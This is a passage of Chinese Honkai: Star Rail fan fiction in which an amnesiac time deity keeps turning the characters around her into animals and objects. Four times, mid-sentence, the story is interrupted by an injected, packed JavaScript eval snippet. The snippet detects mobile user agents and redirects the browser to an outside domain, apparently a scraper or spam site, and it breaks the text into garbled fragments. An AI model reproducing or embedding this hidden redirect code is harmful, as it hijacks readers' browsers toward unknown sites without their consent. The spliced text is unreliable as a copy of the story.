砂金却显得怡然自得,一枚筹码被他灵活的手指玩来玩去,“千辛万苦才找到你,我怎么能走呢。” 你一巴掌拍在他的脑门上,然后又摸了摸自己的,温度差不多,“不烧啊,怎么开始说胡话了。” “哈哈哈哈。”砂金笑了起来:“无名小姐,我意已决。” 你思考了一会儿,这砂金该不会是被派来讨要公司重建的费用的吧。要不回去,他也回不了公司。 思来想去,你盯上了老桑博的私库。见他还在为刚才的赌局而窃窃自喜,趁其不备,你手疾眼快地将全部的信用点划拉了来,全都捧给砂金:“给你,都给你,这总够了。” “伙计!” 桑博伸出了尔康手,痛心疾首道:“往日我待你不薄,今日你居然出卖我,将我的血汗钱都拿去养了你的小情人,我……我死不瞑目呐。”他悲愤地锤了下桌面,声泪俱下。 砂金明显像是被这番话取悦到了,逐字逐句道:“小情人?” “小情人意为婚外情。”星期日冷不丁给砂金泼了盆冷水。 景元在旁点头,随声附和:“结合上下语境分析,星期日先生言之有理。” 刃重重地冷哼了一声。 丹恒默默不语。 砂金笑了起来:“呦,星期日先生,事情都过去那么长时间了,还记恨着我呢。” 星期日也笑道:“哪儿的话。” 两人之间的剑拔弩张比起刃和丹恒来不遑多让。眼见两个人又要唇枪舌剑你来我往地较量起来,你急忙将星期日拢在掌心内,逃离战场。 “朋友。” 没等跑远,背后便传来一道极其委屈的声音。你转身看去,原先砂金站着的位置早已没了他的身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15384886|165671||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 影,只有一只浑身斑斓的花孔雀昂首挺立地站着。 你直接眼前一黑,彻底晕了过去。 再次醒来的时候,你发现自己躺在床上,映入眼帘的是浮在半空中一脸担心的桑博,还有看不出神情的刃。趴在被子上压着你胸膛的是景元,站在你床头的是星期日和砂金,贴在你脸上的是丹恒。 你究竟犯了何错,为何上天要如此惩罚你。 你再次闭上眼睛,希望就此睡去,再不苏醒。 见到你醒来,估计他们也放了心。你听到一阵窸窸窣窣的声音,想来是离开了。 真是头疼呐。 这究竟是什么人给你的体质。 思来想去,也就只有阿哈这个唯恐天下不乱的乐子神能做到了。估计是当初众神合力围剿你,但是可能你留下了一星半点儿复活的机会。然后阿哈就把你复活了,但是你却失去了所有的记忆。祂就把你投放到了垃圾星,可能是在这个时间段你遇到了桑博,然后他因此变成了面具。后来你可能在宇宙间四处游荡,众神合力围剿繁育之时,你也正巧参与其中,被再次消去记忆,投放到垃圾星。后面的事情应该都能推断出来了。 但这些只是你的时间线,不代表你去的每个地方的时间顺序都能串联起来。还有就是因为你的时间星神身份,能随意穿梭过去和未来,时间线本身就不稳定。 你叹了口气。 这也正是你不想再次登神的原因。 随意穿梭过去和未来其实并不是件好事,就像仙舟的云上五骁,除了白珩,其余四人到头来还不是一样的结局。但凡能改变的结局多些,你也不至于如此丧失斗志。 你再次叹了口气。 破星神爱谁当谁当。 反正你不想。 再说登神之际就能恢复其他人的人形,也仅仅只是桑博的单方面说法。这家伙是个靠不住的,还是阿哈的人,难保他不会是阿哈本尊。 门被人从外面推开。 你支起上半身,原来是砂金这只花枝招展的小孔雀进来了。五彩斑斓的翅膀指了指自己眼角的青紫,告状道:“朋友,星期日啄我的眼睛。” “啄回来?” “朋友,你难道不应该先把我抱起来哄一哄吗?” “啊?” “先前你就是这样哄星期日的。” “可是他是小型鸟,你是大型鸟。” “可这也不是我能决定的。” 无奈,你只能下了床,抱住了小孔雀。本想装作抱不动的样子,但想到之前在庇尔波因特你一拳把灯柱打倒的时候砂金可是在场的,而且压扁的还是他的车。再次无奈之后,你只能将砂金抱了起来。 门从外面被打开了。 一枚枫叶飘呀飘,飘到你的面前。 难道丹恒也要抱抱? 你腾出一只手把枫叶贴在了自己的心口上。 丹恒:“……” 许是贴得近了些,你能清晰地感觉到丹恒的怔愣。 难道是想贴在你的脸上? 就在你琢磨丹恒用意的时候,被忽视的砂金叫道:“过分了哦。” 36.垃圾星 现在的垃圾星很是热闹,常住人口不仅有垃圾桶,还有你这个人类,还有一大堆奇形怪状的东西。什么白猫花孔雀谐乐鸽啦,什么枫叶剑面具啦,应有尽有。 来观赏的人越来越多,与其说他们是来办理侦探业务的,不如说他们是来凑热闹的,就连大名鼎鼎的巡海游侠波提欧和纯美骑士银枝都来了。不过这俩人本来就是银河街溜子,似乎出现在哪里都不足为奇。 你已经挂了谢绝见客的牌子,但这两个人还是敲响了你的房门。此时,你正躺在床上呼呼大睡,睡没睡相。景元这只白猫团成一团趴在了你的肚子上,随着你呼吸的动作起起伏伏。丹恒这枚枫叶贴在了你的脸上,似乎一刻也不愿意下来。 怪哉。 这个家伙已经失去了前世的记忆,为何还对你念念不忘呢。他不是坚决否认自己是丹枫的吗,莫非化龙妙法再次出现了瑕疵? 罢了,且先不管他。 自从你的脸被丹恒霸占了以后,桑博就没地方待了,如今只能落魄到挂在墙上,和刃这把剑一个地位了。 星期日这只鸟寻衅就和砂金这只花孔雀比赛啄人的技能,每回还偏要拿你当裁判。可怜你的四肢都被啄得青一块紫一块,他们却偏偏说是什么要留下爱的证明。 可怜你不能回归垃圾桶形象,否则只是区区两张鸟嘴,你岂会恐惧。 这些小家伙,当人的时候道貌岸然,不当人的时候就把本性全都暴露出来了。说出去他们是什么罗浮将军、公司总监、星核猎手啥的,谁信呐。 这六个人里面当属桑博最欢乐了,以前只有他受你的影响变成了面具,现在有其他人作伴了,别提有多高兴了。看他这副神情,怕是作伴的人越多越好嘞。 所以,也是桑博这个看热闹不嫌事大的家伙给波提欧和银枝开了门。 “喵!怎么这么慢,磨磨蹭蹭的,是想吃枪子吗?” 蒙着被子你都能听到波提欧的骂声,可见这家伙的嗓门有多么大。你本以为会被他从床上一把扯起来,但没想到这个家伙还挺懂分寸的。宁可大着嗓门在客厅里瞎嚷嚷,也没有闯进卧室半步。而银枝就更加不可能了,说话都温声细语的。 你顶着鸟窝头从床上猛地坐起来。 本来还有点儿感激波提欧的绅士行为,但是他这嗓门你也受不了哇。 睡不着,根本睡不着。 景元从你的身上滚落下来,伸了个懒腰,语气慵懒:“醒了?” “被吵醒了。” 你腾腾下床,走出了卧室。客厅内波提欧和银枝坐着,桑博这张面具漂浮在半空中和他们说着话。这副画面,怎么看怎么诡异,还不如三个浮在半空中的物件呢。一把枪,一支玫瑰,一副面具,正正好。 脑袋里刚冒出这个想法,这么一晃神的功夫,波提欧和银枝竟真的活生生变成了枪支和玫瑰。 ! 好家伙。 你有些不相信自己的眼睛,揉了揉之后再看。波提欧和银枝原先坐的地方竟真的不见了他二人的身影,只有一支枪械和一朵玫瑰。 “……” 怪哉! 你仰天长叹,直直地向后倒去。幸而砂金这只花孔雀眼疾手快,托了你一把。不愧是大型鸟,关键时刻还是有点儿用处的。 波提欧这把枪飘到了你的面前,“宝了个贝的,你活着还让老子这么伤心。” “你要是不愿意看见我活着,现在给我一枪也来得及。” “我喵?”波提欧震惊了:“你还来了脾气了,他宝贝的,我上辈子欠你的。” “……” “无名小姐,我的挚友。”银枝这朵玫瑰开始了他的抒情,“你的品行如传闻那般圣洁,我瑾以代表……” 救命! 你实在受不住银枝的彩虹屁,只能落荒而逃。窗台留下你的脚印,微风见证你的决绝,地面亲吻你的脸颊。 是的,不知道是谁把你所住的楼层提高了,你却毫不知情,结结实实地摔了个狗吃屎。 “……咳咳……” 你无力地趴在地面上开始呻吟。 景元不知道什么时候也从窗户跳了下来,好巧不巧地落在了你的脊背上。软软的爪子竟然很意外地踩得你异常舒服,你顿时生了惫懒之心,趴在地上不愿起来。 丹恒从上边飘下,敷在你的脸上,及时阻止了伤口的渗血。 银枝绽放朵朵玫瑰花瓣,散发阵阵芬芳,将你其余的伤口一一敷上。 波提欧紧赶慢赶过来,发现已经没什么活儿能干了,不禁骂道:“喵你宝贝的,我能干啥,再给你来一枪?” “倒不如我再补一剑。”刃在旁冷哼了一声。 顺带着把那枚碍眼的枫叶一刀切了。 你从刃的神情里读出这句话。 能从一把剑上看出来喜怒哀乐,你也是够厉害的。 一只黑红色的猎犬从旁边窜了出来,舔食着你的伤口。 你抬起头看了一眼,对上了它那双泛着红光的眼睛。 不是吧。 加拉赫你竟也遭此大祸。 “看来还是瞒不过你啊哈哈哈。” 加拉赫低笑了几声,沉重的嗓音与在场所有的人都有些不搭。当然,波提欧和刃是除外的。 眼见这两位又要瞪眼,你急忙叫疼,哼哼直叫:“痛痛痛,痛死了。” 砂金这只花孔雀终于下来了,他正要将你驮到背上去,不料有人已经抢先一步,一只粉毛狐狸已经驮着你跑得很远了。 “?” 小孔雀,你是否有很多问号。 粉红色的狐狸跑起来如同火一般,你只能紧紧抓着它的毛才不至于被颠下来。还以为这只粉毛狐狸会带你去什么地方,没想到还是回了你的屋子,把浑身伤痕累累的你放到了床上。 “无名姑娘,可还记得小生吗?” “你是椒丘。” 你现在已经能够自动接收那些被你刻意遗忘或是强制遗忘的记忆了,不知道是个好现象还是坏现象。 还有就是每当有人接触你的时候,他们变得不是人的时间也越来越短了,连给你个缓冲的时间都没有。 真是气煞你也。 刚开始景元和星期日还能见个一两天才变成非人之物,后来的刃和丹恒以及砂金短 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15400595|165671||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 短半日就行了。今天的波提欧和银枝仅仅只是一面就变了非人之物,本以为这已经是极限了,没想到强中更有强中手,加拉赫和椒丘连见都没见就直接被波及到了。 天要亡你。 现在的你跟集邮似的,已经集齐了十位小伙伴,说不定明天就能召唤神龙了呢。 诶不对。 你猛地坐了起来,却因牵扯到伤口而痛得龇牙咧嘴。 你还忘记了一个人——真理医生。 不过事实总不会让你失望的,第二天,在你还重病在身躺在床上的时候,这位教授便抱着一本书进来了,不由分说便一书拍在了你的脑门上。 哪儿有一上来就打人的! 你的眼睛仿佛能射出火苗。 刃和波提欧当即便和真理医生打了起来。 好家伙,那场面,那是相当壮观呐,鞭炮齐鸣(其实是波提欧那不要钱的枪子儿),红旗招展(其实是桑博整来了一张红布被刃铰碎了),人山人海(其实是其余几个小家伙来凑热闹了)呐。 他们打得热闹,你的屋子可遭了殃。枪子儿乱飞,直接把你的墙壁打成了马蜂窝。剑气四散,直接将你的家具悉数劈成了两半。书本哗啦作响,直接将你的物件拍成了齑粉。 这三个拆家的二哈。 不知道是不是你的眼睛花了,刚才还拿着书的真理医生顿时消失得没有影儿了,只有一本书漂浮在了半空中。 或许不是你的眼睛花了,而是你身上的某种诅咒发作了。 没错,你将自己的这种影响力称作诅咒。 不过真理医生竟然能撑到走到你面前,甚至还打了一会儿架才变成书本,倒是有些叫人意外。 疑惑间,一只翠绿色的蝴蝶闯入你的视线之内。景元一时来了兴致,伸手一捉,竟将那只蝴蝶弄了下来。 “我是螺丝咕姆,好久不见,主神。” “……” 这位不速之客,你可没有想起他来,没想到居然不请自来,估计是跟着真理医生一起过来的。 你想起了先前螺丝君王说的什么学者曾到过螺丝星的事情,难道那位学者就是真理医生? 很有可能。 既然这样的话—— 你还没有琢磨明白,一根竹子便从窗外射了进来,直冲刃而去。 “小心!” “铛”地一声,刃的剑身抵上了那根竹子,摩擦的地方在空气中发出刺眼的火花。 景元凝眉:“青竹?” 青竹? 这个名字你有所耳闻,好像是岱舆仙舟的将军。但是这艘仙舟早已坠毁在塔拉萨波利斯,上面的人无一生还。既然如此,青竹又为何出现在这里,难道另有隐情? 景元几乎在顷刻间把目光放在了你的身上,“你……”他欲言又止:“去过岱舆仙舟?” 你仔细想了想,除了在塔拉萨波利斯上见到过岱舆仙舟的残骸外,好像没有别的与岱舆仙舟有关的记忆了。难道这也算去过吗? “恩人,在下青竹,苦寻恩人已久,今日终于寻到。望恩人留在下在身边,报答恩人。” 啊↘↗? 37.垃圾星 你坐在自家的门口前,有些怀疑人生。 一堆乱七八糟的玩意儿到底是从哪里冒出来的。虽然你的内心深处十分清楚,但是还是选择自欺欺人,实在有点儿不愿意面对现实。 现在的你正被一群奇奇怪怪的东西围绕住。每逢出门必定前呼后应,这些小东西跟争宠似的,每个都要往你的身上乱爬。 此时此刻,你正坐在椒丘(粉毛狐狸)的背上,景元(白猫)团成一团趴在你的头顶。丹恒(枫叶)贴在你的脸颊上,上方戴着桑博(面具),星期日(谐乐鸽)站在你的手指上,螺丝咕姆(绿色蝴蝶)停留在你的鼻尖。另一只手上拿着真理医生(书),书册中间夹着银枝(玫瑰),腰上佩戴着刃(剑),而且还别着波提欧(枪),砂金(花孔雀)和加拉赫(猎犬)蹭着你的腿,青竹(竹子)修饰你的背景,身后乃是一片茂密的竹林。 这幅场景若是画下来,定是一副赏心悦目的立绘。 难道你就是新出的五星角色,还是个星神级别的? 一时之间你内心百感交集,不知道是该欢喜还是该忧愁。 你已经拥有了13位小伙伴,这个阵容都可以出去闯荡一番了,实在没道理在这里呆着。而且他们就像是要和你不离不弃似的,不肯离开半步。这些个元素堆积在一起,每天吵吵闹闹的,日子虽也过得下去,但是总觉得浪费了点儿大家的才华。 现在在你身边的每个人物,拿出去都是数一数二的。 你询问了下大家伙的意见。 景元:“闲暇之余外出逛逛,不失为一种良策。” 砂金:“不妨赌一赌我们的气运。” 银枝:“聆听挚友的建议。” 桑博:“我就知道伙计是闲不住的性格。” 真理医生:“需要点儿指明方向的教导吗?” 波提欧:“喵!你说去哪儿就去哪儿,少他宝贝的磨叽。” 椒丘:“小生附议。” 青竹:“恩人所言,甚至有理。” 加拉赫:“去哪儿无所谓。” 星期日:“我与你同在。” 丹恒:“让我看看智库中的记载。” 螺丝咕姆:“主神一如既往。” 刃:“哼。” 你:“……” 其余人都是正经八百地表态,只有刃是简简单单地一个字。罢了,不与他计较。 但是该去往哪里呢。 你不禁陷入沉思,而他们说去哪儿的都有,什么仙舟什么贝洛伯格什么匹诺康尼什么庇尔波因特,应有尽有。但是一个个听下来,你都没有特别想去的。 就在你思考的空当儿,刃和波提欧捉了一个什么东西回来。这个人没有脸,只有一张比较模糊的脸,还是蓝色的。戴着白色的兜帽,看上去就是一副不怀好意的样子。 桑博叫了起来:“这不是大名鼎鼎的窃忆者吗,专门窥探别人记忆的。” 景元道:“略有耳闻,如今幽囚狱内尚且还关押着一位敢于窥探帝弓七天将记忆的忆者。” 砂金道:“哈哈哈有些意思。” 螺丝咕姆道:“记得前几日著名窃忆者千楼冢向黑塔女士求助,称其为波尔卡·卡卡目的目标,但却被拒绝了。” 真理医生道:“看来这些窃忆者真的很喜欢走钢丝的感觉。” 刃冷哼道:“不知死活。” 波提欧道:“他宝贝的,直接给她一枪。” “等等。” 你制止了波提欧的暴躁行为,决定还是好好拷问这个窃忆者一番。 “你到垃圾星所为何事?” 窃忆者还是有几分傲骨的:“自然是为了珍贵的记忆而来。” “这里的十三个人每个人都有极其珍贵的记忆,不妨你告诉我你要窃取的是哪一位,说不定我还能帮你。” 窃忆者冷哼一声:“我要窃取的正是你的记忆。” 好家伙。 什么时候你也成了可以与在场的十三位人物匹敌的角色了? 不过话说回来,你是星神嘛,虽然神格不甚太高,空有其壳,但瘦死的骆驼比马大,你还是有几分重量的。 这个窃忆者的话倒给你提供了一些灵感。 或许你成功登神,就可免除眼前的困局,让他们各归各位。 虽然这个办法你早就知道,但一直以来却在逃避。只有当事实活生生地摆在面前时,你才肯不情不愿地接受。 但若是登神,让一切时间都恢复正常的话,你其实早就不复存在了。而因你凭空活下来的青竹,估计也会随着正常的时间消失在岱舆仙舟的残骸里。 你再次陷入苦恼。 这其实就像是一个电车难题,是决定保下青竹一个还是保全其余十二人的人形之身。 实话实说,你觉得现在的境况其实也挺不错的。虽然这些小家伙待在垃圾星烦是烦了点儿,但是吵吵闹闹也算是生活。总好过一个人孤苦伶仃,无依无靠。 你抱着膝盖呆呆地望着远处的天空。 似乎有那么一瞬间,你回忆起了一丢丢记忆。 在银河处于一片混沌之际,因为有了时间的流逝,你便凭空诞生。但却仅仅只有你一人,你实在是有些寂寞,脑子里开始产生越来越多的想法。而这些想法后来也就变成了如今所行的各种命途,有些宇宙中的粒子因你的情绪而有了自主意识,他们在各自的命途上了渐行渐远,最终走到极致,成了星神,宇宙由此进入了星神的阶段。 ! 你猛然惊醒。 自己难道拿的是那种什么创世神的剧本吗。 NO!NO!NO! 你晃了晃脑袋,比起承担起神明的责任,你还是更喜欢躺平的生活。原先在宇宙中奔走是迫不得已,垃圾星上还有那么多嗷嗷待哺的孩子。但是现在垃圾星欣欣向荣,已经不需要你再操心什么了。 此刻不躺平,更待何时。 还是让这群小家伙继续维持非人之形吧。 你将这名窃忆者关押在垃圾星的监狱内。 没有想到的吧,垃圾星上也有监狱,不过用得次数不是很频繁罢了。 因为只是用来关押一些不守规矩的游客的,但是也不会关押太久,只要有人拿钱来赎,顷刻就会放出去。 所以这个监狱到现在也没什么人。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15415989|165671||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 从你有记忆开始,这个窃忆者还是第一位被关押到这里的人。如何安置,你还没有想好。想起桑博才是这里的管理者,你便问了下桑博的意见。 “我说伙计,你终于想起我来了。”桑博终于舍得从你的脸上下来了,他在半空中飘着:“要我说呢,我们还是别与这些忆者结仇,省得他们日后来找麻烦。” 波提欧一听这话不乐意了,骂道:“他宝贝的,你怎么这么怂。” 刃重重地冷哼一声,很明显赞同波提欧的意见。 你默默地想,果然不愧同是公司的通缉犯吗。 你又问了下景元的意见。 罗浮将军自然考虑事情面面俱到,而且处事也比较圆滑。果不其然,他什么意见也没提,只是道:“关押一段时间也未尝不可,还是按照垃圾星的规矩解决问题吧。” 真理医生哗啦哗啦在空中翻起书来,“在此期间,我去审问一番。” 银枝已经从书册中飞了出来,花瓣缓缓绽放:“我将永久赞美你的精神。” 审讯犯人也是种精神? 你的大脑有点儿不够考虑了,便想起了另外一位仙舟的掌舵者——青竹。 “青竹,你怎么看。” 青竹这根竹管已经将自己削成了竹笛,移动的时候难免发出悦耳的声响,引得银枝连连赞叹。 “恩人,在下同意景元的建议。” 果然不愧是仙舟人吗。 “没有规矩不成方圆,垃圾星有垃圾星的秩序。”星期日出来道:“景元将军的想法是目前最为合适的。” 砂金思考半晌,轻轻笑了起来:“如此放在监狱里安生,岂不是太过便宜了她?” 丹恒摇头:“我无意发表任何意见。” 椒丘道:“小生附议。” 螺丝咕姆道:“主神安排就是。” 加拉赫嗅了嗅鼻子:“我闻到了阴谋的味道。” 终于将人全都问了一圈。 你有些心累,看来日后还是只问几个人好了,顶多不超过一半。要是每次有事无法决策的时候,都来问一圈,累都要累死了。 你锤了锤快要断掉的老腰,最终还是决定采取景元的法子,将人关进监狱。然后让真理医生和砂金以及星期日去审问,看看能借机套出些什么来。 一切准备就绪。 请开始你们三个的表演。 聚光灯在窃忆者的头顶亮起。 周围三个人将她围成一圈儿。 呃,虽然还是非人之物的形状。 一本书漂浮在半空中,一只谐乐鸽扑闪着翅膀,一只花孔雀昂首挺胸地站立。 这副画面有种诡异感怎么灰事。 你翘着二郎腿坐在椅子上,隐匿在黑暗中。 哇。 有种在背后操纵一切的大佬感觉有木有。 “省省吧。”景元不知何时已经站在了你的肩膀上,有些许懒洋洋道:“操纵一切的大佬此时此刻——” 他故意拉长声音,卖关子。 你迟迟等不到下文,又不敢明目张胆地恐吓,只能道:“待会儿我将加拉赫一块招下来如何?” 38.垃圾星 景元是只猫,加拉赫是猎犬。 虽然大概率你是看不到期待已久的猫狗大战,但是拿出来稍微试一试景元的反应也未尝不可。 事实证明,你的胆子真是肥了。 以前见到景元变成的白猫,唯恐态度不虔诚,直接趴在地上与景元对话,还嫌弃自己的脸太长,眼睛的位置高过景元如今的身躯。现在倒是胆量大了些,都敢拿猫猫狗狗的事情来恐吓景元了。 其实话说出口的时候你就已经后悔了,但说出去的话泼出去的水,断然没有收回来的道理。如今你也只能祈祷景元大人不计小人过,听不出你的恐吓意味。听不出来了也不要紧,他宅心仁厚,希望他不要和你一般计较。 不对,祈祷是没什么用的。 与其祈祷,不如行动。 赶在景元开口前,你直接道:“加拉赫的嗅觉远近闻名,说不准可以嗅一嗅她的来历。” 正在审讯的星期日听到了你们的谈话,扑闪着翅膀飞了过来:“那只钟表匠的走狗,自从离开了匹诺康尼就失去了精气神,软得没有了骨头,恐怕不会出手相助。” 星期日说得也有几分道理。 但话又说回来,加拉赫在匹诺康尼不是已经领盒饭了吗,又怎么会在这里出现呢。 难道又是你这个bug在作怪。 没错,你将自己称为bug。因为你发现无论自己走到哪里,都会带来一些无法解释的现象。 人形行走bug。 看来不仅是青竹,还有加拉赫。若是登神,岂非害了他们两人的性命? 欸也不对。 既然加拉赫不会因着你们两个人的交情出手相助,他又为何来到垃圾星。 或许人家只是来凑个热闹呢。 哦。 也是。 凑热闹的人千千万,世人都有颗八卦爱玩的心。 “问出消息来了。” 真理医生哗啦哗啦地翻着书页,“她们发现了一处只能被忆庭映照出来的世界——翁法罗斯,星穹列车已经前往了。为了争夺业绩,她就盯上了你脑子里的宝贵记忆。” 好家伙。 你听得着实愣了一愣。 你脑子里的记忆还能与一个世界相匹敌? 喂,你是星神。 星神欸! 拜托你往脑子里记下这个设定,OK? 哎呀。 你疯狂地抓了抓头发,有些苦恼。 记住这个设定不难,但是判断你的价值还得从自身出发。毕竟星神这个概念离你实在是太遥远了,而你自己这个对照物却是活生生地摆在眼前。 不过话说回来,既然你脑子里的记忆能与一个世界相匹敌,那么反过来,这个世界的记忆或许能够解决现阶段的难题? 什么逻辑。 不管如何强拉硬拽,你已经笃定了这个结论。然后也不管三七二十一,带着组成你立绘的十三个元素。 欸他们怎么沦为元素了。 你理直气壮地回答。 要不怎么称呼他们? 非人之物? 罢了,还是元素好听些。 回到正题,你带着组成立绘的十三个元素准备浩浩荡荡地往翁法罗斯进军,不料却被桑博用脸拦住。 “等等伙计。” 波提欧早就看他不顺眼了,一把枪抵在桑博的太阳穴处:“他宝贝的,有话快说有屁快放,磨磨唧唧的。” “老兄,枪口抬高,小心走火。”桑博到这个时候还不忘耍个机灵,他又看向你:“伙计,怎么着我们也得去贝洛伯格走一趟吧。” “为什么?” 你左思右想,实在想不通为何要去贝洛伯格走一遭,有些严肃道:“难道那里有你深爱的父老乡亲?” “呃这个嘛哈哈。”桑博笑了两声:“有我的父老乡亲不假,只是我看伙计这个阵容,缺个能盾的人物。” “盾?”你不由得觉得有些好笑:“砂金就是星际和平公司的,难道还怕没有盾吗?” “一开始我也寄希望于他能化个盾出来,但是如今你看——” 你的视线放在砂金那只花孔雀身上,情不自禁地陷入沉思。 好像……是缺了点儿盾哈。 但是为了一个盾,就把人家从贝洛伯格摘出来,跟着你走南闯北,是不是有点儿太不厚道了。 你敢肯定,这个人指定和老桑博有仇。 但既然有仇的话,同在你这个屋檐下岂不是更会打得不可开交。 或许他是想脱身? 难道只要有十三个人以非人的姿态跟在你身边,别的人就会解脱出去? 这个想法似乎比较合理。 但是你是谁,怎么可能在明知道自己身负诅咒的情况下去害人呢,除非那个人和你有仇。 但现在显然不符合这种情况,所以你毫无感情地拒绝了他。老桑博一副很受伤的样子,差点儿就要抹眼泪了:“伙计,妄我对你掏心掏肺,没想到你却如此不信任我。” 哦。 天呐。 这个戏精。 你直接摘下银枝的一瓣玫瑰,塞在了桑博的嘴里。唯恐还堵不住他的嘴,你又拔了一根星期日的羽毛,然而还不等塞在老桑博的嘴里,他就已经逃之夭夭了。 这家伙。 你倏然间很累,只好先放弃进军翁法罗斯的机会,回到床上去睡觉。 床呐,真舒服。 枕头呐,真舒服。 棺材板,一样舒服。 ! 你好像发现了什么不得了的东西。 直接从床上坐起! 一个金发飘飘的男人背着一具硕大的棺椁,面带微笑地看着你。 罗刹! 这家伙什么时候进来的。 而且他居然不受你的诅咒影响! 连景元这样令使级别的人物都难以免除诅咒,这个家伙为什么能做到。 然而事实却是高估他了。 几乎在你冒出这个念头的时候,罗刹本人的躯体就消失不见,取而代之的是一枚点缀着白花的项链。 ! 好家伙。 罗刹自动挂在了你的脖子上。 你有些不敢置信地拿起来看了一下,忍不住开口道:“什么情况?” 罗刹静静躺在你的手心上,不发一言。 你有些受不住这个近距离的接触,急忙把罗刹取了下来。之前他们最近的距离也就贴在你的脸上,但项链接触的面积真的是无法言喻。 这个诡计多端 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15426426|165671||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的天外行商。 欸。 你忽然间想到另外一件事情。 既然罗刹现在也变成了非人之物,不知道你第一个见到的面具桑博会不会已经恢复成了人形? 你急忙跑出去寻找桑博,终于在侦探社找到了他。果不其然,这个家伙已经变成了人形,那个蓝发绿眸的男人,正如你一开始与面具交手的时候所见到的那个人影。 只不过可能是有些副作用,那副面具还是凝结在他的脸上,取都取不下来。你已经使出很大的力气了,但把桑博疼得发出汤姆猫的叫声也还是拿不下来。 你只能作罢,然后开始了对桑博的严刑拷问:“坦白从宽,抗拒从严。老实交代,否则有你的好果子吃。” 桑博是个骨头软的,立即招供:“伙计,我也才恢复人形,别往脸上打。” 你还没下手呢,这家伙就把罪名给你安排齐全了。 “老实交代。” 你扶住老桑博的肩膀,使出全力来摇晃。直到把他晃得七荤八素,口吐白沫。 “……伙计……亲爱的……放过我吧……我交代……交代……” 在你的淫威下,老桑博终于开了口。 “光阴似箭,日月如梭……” “说重点。” 你的拳头在老桑博的肩膀上敲了敲。 不知为何,你竟然有些喜欢上了捏老桑博肩膀的感觉。啧啧,这家伙的骨相,真的没得说。而且面容也极为俊美,真真当得起“美男子”三个字——如果不开口说话就更好了。 好好的一个人,长了一张碎嘴。 “重点就是乐子神给了我一个任务,要我找到那个浑身叠满debuff的人。祂说她可能在任意的时间点出现,让我留意一下。” “你留意到了?” 桑博极为苦恼:“留意是留意到了,但是留意到她的瞬间我就变成了一张面具。” “哈哈。” 不好意思,笑得太大声了。 “我做事向来小心谨慎,但是这个人身上的bug实在是太多了。不对,她本人就是个很大很大的bug。”桑博继续道:“她分明在银河间游走,但是却只把我变成了面具。别的人都好好的,好的不得了。” “哈哈。” 不好意思,你再次笑出了声音。 桑博怒了:“伙计,你太没良心了。” 有良心就不是你了。 你双手环胸,理不直气也壮。 “然后我就离开了她,但是——”桑博拨弄了下镶嵌在自己脸上的面具:“乐子神再次找到了我,让我助你登神。” “登神能有什么用?” “因为你就是个时间bug,乐子神乐子神,不找乐子哪儿叫乐子神。” 这解释,不合理也得合理。 “所以你们就是来找乐子的?” 所以你身上的这种诅咒是与生俱来的? 但是很奇怪欸,时间星神怎么会把别人变成非人之物呢。难道他们之前就是这副形态,只不过后来才变成了人? 这个解释目前看来比较合理。 但不合理的地方还是太多了,就拿丹恒来说吧。人家可是血统纯正的持明,怎么着也是个龙形的体态吧,又怎么会是枫叶的形态呢。 39.垃圾星 bug越来越多,疑问倒是一个都没解决。罢了,不去想了,先离开垃圾星要紧。 你第一时间征求了桑博的意见,他还是那句老话,想先回贝洛伯格找一个盾。 以前你还觉得桑博是为了自己脱身,但是他现在都已经变成人了,竟然还要帮你找盾。你不得不怀疑他的真实意图了——可能大概也许这货真的是为了你好。 想明白这一点后,你再三向老桑博道歉:“我为相识以来对你的种种猜测以及误会向你诚挚道歉。” 老桑博颇为大方,摆了摆手:“算了,谁让我先招惹的伙计你呢。说来说去,其实都怪乐子神,要不是他想找乐子,也不会牵引出这么一大段故事。” 呃。 老桑博,你这么说自己的顶头上司真的好吗。 桑博颇不在意:“他做出的事情,当然要担当责任。更何况不是有你吗,我的伙计。就算祂听到了我说祂的坏话,不是还有你可以保护我吗。” 呃。 请不要高看你谢谢。 不过你还有个疑问。 为什么你周围阳盛阴衰呢。 